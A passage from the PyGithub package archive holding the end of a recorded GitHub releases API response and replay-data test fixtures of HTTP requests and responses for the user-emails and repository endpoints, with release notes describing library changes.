(b1e9ae68)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643642/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40","id":11643642,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQy","tag_name":"v1.40","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-06-26T01:05:38Z","published_at":"2018-06-26T01:08:43Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40","body":"* Major enhancement: use requests for HTTP instead of httplib (#664) (9aed19dd)\r\n* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Test Framework improvement (#795) (faa8f205)\r\n* Handle HTTP 202 HEAD & GET with a retry (#791) (3aead158)\r\n* Fix github API requests after asset upload (#771) (8bdac23c)\r\n* Add remove_membership() method to Teams class (#807) (817f2230)\r\n* Add check-in to projects using PyGithub (#814) (05f49a59)\r\n* Include target_commitish in GitRelease (#788) (ba5bf2d7)\r\n* Fix asset upload timeout, increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\t\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\t\r\n* Remove NamedUser.contributions (#774) (a519e467)\t\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10728698/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a3","id":10728698,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNzI4Njk4","tag_name":"v1.40a3","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-26T06:52:47Z","published_at":"2018-04-26T06:55:12Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a3","body":"* Add ability to skip SSL cert verification for Github Enterprise (#758) (85a9124b)\r\n* Correct Repository.get_git_tree recursive use (#767) (bd0cf309)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10667677/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a2","id":10667677,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNjY3Njc3","tag_name":"v1.40a2","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-23T06:31:58Z","published_at":"2018-04-23T06:32:39Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a2","body":"* Re-work PullRequest reviewer request (#765) (e2e29918)\r\n* Add support for team privacy (#763) (1f23c06a)\r\n* Add support for organization outside collaborators (#533) (c4446996)\r\n* Make use of issue_url in PullRequest (#755) (0dba048f)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10576396/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a1","id":10576396,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNTc2Mzk2","tag_name":"v1.40a1","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-17T04:15:02Z","published_at":"2018-04-17T04:16:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a1","body":"* Use requests instead of httplib (#664) (9aed19dd)\r\n* PullRequest labels should use Issues URL (#754) (678b6b20)\r\n* Support labels for PullRequests (#752) (a308dc92)\r\n* Add get_organizations() (#748) (1e0150b5)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10471784/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.39","id":10471784,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNDcxNzg0","tag_name":"v1.39","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-04-10T02:21:49Z","published_at":"2018-04-10T09:30:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.39","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.39","body":"* Add documentation to github.Repository.Repository.create_git_release() (#747) (a769c2ff)\r\n* Add add_to_members() and remove_from_membership() (#741) (4da483d1)\r\n* Documentation: clarify semantics of get_comments (#743) (fec3c943)\r\n* Add download_url to ContentFile, closes #575 (ca6fbc45)\r\n* Add PullRequestComment.in_reply_to_id (#718) (eaa6a508)\r\n* Add team privacy parameter to create team (#702) (5cb5ab71)\r\n* Implement License API (#734) (b54ccc78)\r\n* Fix delete method for RepositoryKey (911bf615)\r\n* Remove edit for UserKey (722f2534)\r\n* Labels API: support description (#738) (42e75938)\r\n* Added Issue.as_pull_request() and PullReqest.as_issue() (#630) (6bf2acc7)\r\n* Documentation: sort the Github Objects (#735) (1497e826)\r\n* Add support for getting PR single review's comments. (#670) (612c3500)\r\n* Update the RepositoryKey class (#530) (5e8c6832)\r\n* Added since to PR review comments get (#577) (d8508285)\r\n* Remove some duplicate attributes introduced in #522 (566b28d3)\r\n* Added tarball_url, zipball_url, prerelease and draft property (#522) (c76e67b7)\r\n* Source Import API (#673) (864c663a)"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RequesterThrottled.testShouldDeferWrites.txt0000644000175100001660000000670714756101563027103 0ustar00runnerdockerhttps GET api.github.com None /user/emails {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] https POST api.github.com None /user/emails {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"emails": ["1@foobar.com", "2@foobar.com"]} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4933'), ('content-length', '94'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8efae10ea5e433b0d68201389058e4ee"'), ('date', 'Sun, 20 May 2012 12:41:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "1@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "2@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] https GET api.github.com None /user/emails {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '94'), ('x-ratelimit-remaining', '4932'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8efae10ea5e433b0d68201389058e4ee"'), ('date', 'Sun, 20 May 2012 12:41:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "1@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "2@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] https DELETE api.github.com None /user/emails {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"emails": ["1@foobar.com", "2@foobar.com"]} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4931'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:41:41 GMT')] https GET api.github.com None /user/emails {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:42 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RequesterUnThrottled.testShouldNotDeferRequests.txt0000644000175100001660000026043514756101563030425 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"590cc0c8c908cfbaa795edefd9fa4b424dce1cf509b00ec3b791186ca4ca01b0"'), ('Last-Modified', 'Mon, 10 Jan 2022 15:54:04 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4640'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '360'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA74:10A67:499835A:4B3ECF3:61DC5706')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-01-10T15:54:04Z","pushed_at":"2022-01-10T12:57:13Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13607,"stargazers_count":5001,"watchers_count":5001,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1428,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":165,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1428,"open_issues":165,"watchers":5001,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1428,"subscribers_count":108} https GET api.github.com None /repos/PyGithub/PyGithub/releases?per_page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ee105f8b9e3d3e3feb1b7cd35ad11da16ab8358bed8ed27376bc94cf985e21c0"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4639'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '361'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA76:10FD2:8738F60:895D8B5:61DC5706')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41982557/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.55","id":41982557,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgyNTU3","tag_name":"v1.55","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T04:43:40Z","published_at":"2021-04-26T04:44:57Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.55","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.55","body":"**Breaking Changes**\r\n\r\n* Remove client_id/client_secret authentication (#1888) (901af8c8)\r\n* Adjust to Github API changes regarding emails (#1890) (2c77cfad)\r\n - This impacts what AuthenticatedUser.get_emails() returns\r\n* PublicKey.key_id could be int on Github Enterprise (#1894) (ad124ef4)\r\n* Export headers in GithubException (#1887) (ddd437a7)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Do not import from unpackaged paths in typing (#1926) (27ba7838)\r\n* Implement hash for CompletableGithubObject (#1922) (4faff23c)\r\n* Use property decorator to improve typing compatibility (#1925) (e4168109)\r\n* Fix :rtype: directive (#1927) (54b6a97b)\r\n* Update most URLs to docs.github.com (#1896) (babcbcd0)\r\n* Tighten asserts for new Permission tests (#1893) (5aab6f5d)\r\n* Adding attributes \"maintain\" and \"triage\" to class \"Permissions\" (#1810) (76879613)\r\n* Add default arguments to Workflow method type annotations (#1857) (7d6bac9e)\r\n* Re-raise the exception when failing to parse JSON (#1892) (916da53b)\r\n* Allow adding attributes at the end of the list (#1807) (0245b758)\r\n* Updating links to Github documentation for deploy keys (#1850) (c27fb919)\r\n* Update PyJWT Version to 2.0+ (#1891) (a68577b7)\r\n* Use right variable in both get_check_runs() (#1889) (3003e065)\r\n* fix bad assertions in github.Project.edit (#1817) (6bae9e5c)\r\n* Test repr() for PublicKey (#1879) (e0acd8f4)\r\n* Add support for deleting repository secrets (#1868) (696793de)\r\n* Switch repository secrets to using f-strings (#1867) (aa240304)\r\n* Manually fixing paths for codecov.io to cover all project files (#1813) (b2232c89)\r\n* Add missing links to project metadata (#1789) (64f532ae)\r\n* No longer show username and password examples (#1866) (55d98373)\r\n* Adding github actions secrets (#1681) (c90c050e)\r\n* fix get_user_issues (#1842) (7db1b0c9)\r\n* Switch all string addition to using f-strings (#1774) (290b6272)\r\n* Enabling connetion pool_size definition (a77d4f48)\r\n* Always define the session adapter (aaec0a0f)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41981910/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.0.1","id":41981910,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgxOTEw","tag_name":"v1.54.0.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T02:22:13Z","published_at":"2021-04-26T04:07:53Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.0.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.0.1","body":"* Hotfix release to better support Python 3.5 users.\r\n* Pin pyjwt to <2.0 (502caed9)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/35686980/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.1","id":35686980,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM1Njg2OTgw","tag_name":"v1.54.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-12-24T04:11:01Z"